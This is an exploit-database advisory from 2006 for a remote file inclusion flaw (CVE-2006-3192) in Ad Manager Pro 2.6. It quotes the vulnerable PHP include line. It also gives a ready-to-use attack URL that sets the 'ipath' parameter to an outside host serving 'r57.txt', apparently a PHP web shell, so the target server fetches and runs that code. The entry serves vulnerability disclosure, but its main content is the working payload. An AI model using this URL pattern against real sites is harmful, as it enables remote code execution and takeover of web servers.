Ad Manager Pro 2.6 - 'ipath' Remote File Inclusion
| EKU-ID: 9942 | CVE: OSVDB-26674;CVE-2006-3192;OSVDB-26673 | OSVDB-ID: |
| Author: Basti | Published: 2006-06-17 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 9942 | CVE: OSVDB-26674;CVE-2006-3192;OSVDB-26673 | OSVDB-ID: |
| Author: Basti | Published: 2006-06-17 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
Ad Manager Pro 2.6 Remote File Include Vulnerability
homepage: phpwebscripts.com
Affected files: ad.php and common.php
Credit: Basti
Vulnerable Code:
if ($ipath) include($ipath.'/common.php'); else include('./common.php');
Example:
http://[site]/admanagerpro/common.php?ipath=http://site/r57.txt?
# milw0rm.com [2006-06-17]